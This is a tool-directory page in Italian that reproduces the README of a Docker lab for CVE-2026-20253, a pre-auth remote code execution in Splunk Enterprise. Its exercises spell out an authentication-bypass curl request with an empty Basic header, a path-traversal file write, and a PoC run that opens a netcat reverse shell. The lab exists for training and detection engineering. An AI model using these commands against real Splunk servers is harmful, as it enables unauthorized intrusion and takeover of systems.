Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-20253 — Ambiente lab Docker con exploit PoC e checker per CVE-2026-20253, un RCE pre-auth in Splunk Enterprise tramite il servizio sidecar PostgreSQL. | Kitploit
Strumenti/GitHubGitHub/ivanesk315/cve-2026-20253
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed TeamingLab e Pratica
GitHubivanesk315/cve-2026-20253

CVE-2026-20253

Ambiente lab Docker con exploit PoC e checker per CVE-2026-20253, un RCE pre-auth in Splunk Enterprise tramite il servizio sidecar PostgreSQL.

Vedi Repository
1 giorno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Ambiente di Laboratorio CVE-2026-20253

Splunk Enterprise Pre-Auth RCE tramite PostgreSQL Sidecar Service

CVECVE-2026-20253
CVSS9.8 (Critico)
TipoEsecuzione di Codice Remoto Non Autenticata
CWECWE-306: Autenticazione Mancante per Funzione Critica
ProdottoSplunk Enterprise 10.0.x / 10.2.x

DISCLAIMER: Questo laboratorio è destinato esclusivamente a ricerca sulla sicurezza autorizzata, formazione e penetration testing. Non utilizzare contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione al test.


Architettura del Laboratorio

root@kitploit:~
┌──────────────────────────────────────────────────────┐
│                  Docker Network: cve-lab             │
│                  Subnet: 172.20.0.0/24               │
│                                                      │
│  ┌─────────────────────┐   ┌──────────────────────┐  │
│  │  splunk-vulnerable   │   │  attacker            │  │
│  │  172.20.0.10         │   │  172.20.0.50         │  │
│  │                      │   │                      │  │
│  │  Splunk 10.2.3       │   │  Python 3.11         │  │
│  │  Port 8000 (Web)     │   │  nmap, netcat        │  │
│  │  Port 8089 (API)     │   │  postgresql-client   │  │
│  │  Port 8088 (HEC)     │   │  tcpdump             │  │
│  └─────────────────────┘   └──────────────────────┘  │
│                                                      │
│  ┌─────────────────────┐  (optional, profile: patched)│
│  │  splunk-patched      │                             │
│  │  172.20.0.11         │                             │
│  │  Splunk 10.2.4       │                             │
│  │  Port 8001 (Web)     │                             │
│  └─────────────────────┘                             │
└──────────────────────────────────────────────────────┘

Prerequisiti

  • Docker & Docker Compose
  • Git
  • 8GB+ di RAM (Splunk richiede molta memoria)
  • Accesso a Internet (per scaricare le immagini Docker)

Avvio Rapido

1. Avviare il laboratorio vulnerabile

root@kitploit:~
# Start Splunk vulnerable + attacker
docker-compose up -d

# Wait for Splunk to initialize (~2-3 minutes)
docker-compose logs -f splunk-vulnerable
# Look for: "Ansible playbook complete, will begin polling for Splunk On..."
# Then:     "Splunk is ready"

2. Verificare che Splunk sia in esecuzione

  • Aprire il browser: http://localhost:8000
  • Login: admin / ChangeMeNow!

3. Eseguire il checker di vulnerabilità

root@kitploit:~
# From host machine
docker exec -it attacker python checker.py -t http://172.20.0.10:8000 -k

# Or enter the attacker container
docker exec -it attacker bash
cd /opt/exploit
python checker.py -t http://172.20.0.10:8000 -k

4. Eseguire l'exploit PoC

root@kitploit:~
# Enter attacker container
docker exec -it attacker bash

# Check vulnerability
python poc.py -t http://172.20.0.10:8000 --check -k

# Full RCE exploit (start listener first in another terminal)
# Terminal 1 - Listener:
docker exec -it attacker nc -lvnp 4444

# Terminal 2 - Exploit:
docker exec -it attacker python poc.py \
    -t http://172.20.0.10:8000 \
    --rce \
    --lhost 172.20.0.50 \
    --lport 4444 \
    -k

5. (Opzionale) Avviare la versione corretta per confronto

root@kitploit:~
docker-compose --profile patched up -d splunk-patched

# Test against patched instance (should return NOT VULNERABLE)
docker exec -it attacker python checker.py -t http://172.20.0.11:8000 -k

Esercizi di Laboratorio

Esercizio 1: Ricognizione & Identificazione della Vulnerabilità

Obiettivo: Identificare gli endpoint del sidecar PostgreSQL e verificare il bypass dell'autenticazione.

root@kitploit:~
# Scan Splunk ports
nmap -sV 172.20.0.10 -p 8000,8089,8088

# Probe sidecar endpoints manually with curl
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/status"
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup"

Domande:

  • Quali codici di stato HTTP si osservano?
  • In cosa si decodifica Authorization: Basic Og==?
  • Perché una risposta 400 indica vulnerabilità (rispetto a 401)?

Esercizio 2: Primitive di Scrittura File

Obiettivo: Dimostrare la creazione arbitraria di file sul server Splunk.

root@kitploit:~
# Create a test file via the backup endpoint
curl -k -X POST -u ":" \
  "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup?backupFile=../../../../../../tmp/pwned"

# Verify the file was created
docker exec splunk-vulnerable ls -la /tmp/pwned

Esercizio 3: Catena RCE Completa

Obiettivo: Ottenere l'esecuzione di codice sul server Splunk.

  1. Avviare un listener netcat sulla macchina attaccante
  2. Eseguire l'exploit PoC con il flag --rce
  3. Verificare la connessione della reverse shell
  4. Investigare quali permessi ha la shell (whoami, id, ls /opt/splunk/etc/)

Esercizio 4: Analisi del Diff della Patch

Obiettivo: Comprendere cosa è cambiato tra le versioni vulnerabile e corretta.

root@kitploit:~
# Start both vulnerable and patched instances
docker-compose --profile patched up -d

# Compare responses
curl -v -k -u ":" "http://172.20.0.10:8000/en-US/splunkd/__raw/v1/postgres/health"  # 400
curl -v -k -u ":" "http://172.20.0.11:8000/en-US/splunkd/__raw/v1/postgres/health"  # 401

# Diff the relevant Splunk configuration/code
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf
docker exec splunk-patched cat /opt/splunk/etc/apps/splunk_httpinput/default/inputs.conf

Esercizio 5: Detection Engineering

Obiettivo: Creare regole di rilevamento per questa vulnerabilità.

  1. Abilitare il logging interno di Splunk sull'istanza vulnerabile
  2. Eseguire l'exploit
  3. Cercare in index=_internal gli artefatti dell'attacco
  4. Scrivere query di rilevamento SPL (vedere report/ANALYSIS.md Sezione 6)
  5. Testare i propri rilevamenti contro l'exploit

Struttura dei File

root@kitploit:~
CVE-2026-20253/
├── README.md                    # This file
├── docker-compose.yml           # Lab environment definition
├── attacker/
│   ├── Dockerfile               # Attacker container build
│   └── requirements.txt         # Python dependencies
├── exploit/
│   ├── checker.py               # Vulnerability checker script
│   ├── poc.py                   # PoC exploit (auth bypass → file write → RCE)
│   └── requirements.txt        # Python dependencies
└── report/
    └── ANALYSIS.md              # Root cause analysis & full report

Suggerimenti per il Debug

Il container Splunk non si avvia

root@kitploit:~
docker-compose logs splunk-vulnerable
# Common fix: increase Docker memory to 8GB+

Verificare che il sidecar PostgreSQL sia in esecuzione

root@kitploit:~
docker exec splunk-vulnerable ps aux | grep postgres
docker exec splunk-vulnerable netstat -tlnp | grep 5435

Ispezionare i log interni di Splunk

root@kitploit:~
docker exec splunk-vulnerable cat /opt/splunk/var/log/splunk/splunkd.log | tail -50

Controllare lo script modular input di destinazione

root@kitploit:~
docker exec splunk-vulnerable cat /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py

Catturare il traffico di rete per l'analisi

root@kitploit:~
docker exec attacker tcpdump -i eth0 -w /opt/exploit/capture.pcap host 172.20.0.10

Pulizia

root@kitploit:~
# Stop and remove all containers
docker-compose --profile patched down

# Remove volumes (delete all Splunk data)
docker-compose --profile patched down -v

# Remove Docker images
docker rmi splunk/splunk:10.2.3 splunk/splunk:10.2.4

Riferimenti

  • Full Root Cause Analysis
  • Splunk Advisory SVD-2026-0610
  • WatchTowr Labs Analysis & PoC
  • CISA KEV Catalog
  • Picus Security Technical Writeup
Scarica lo strumento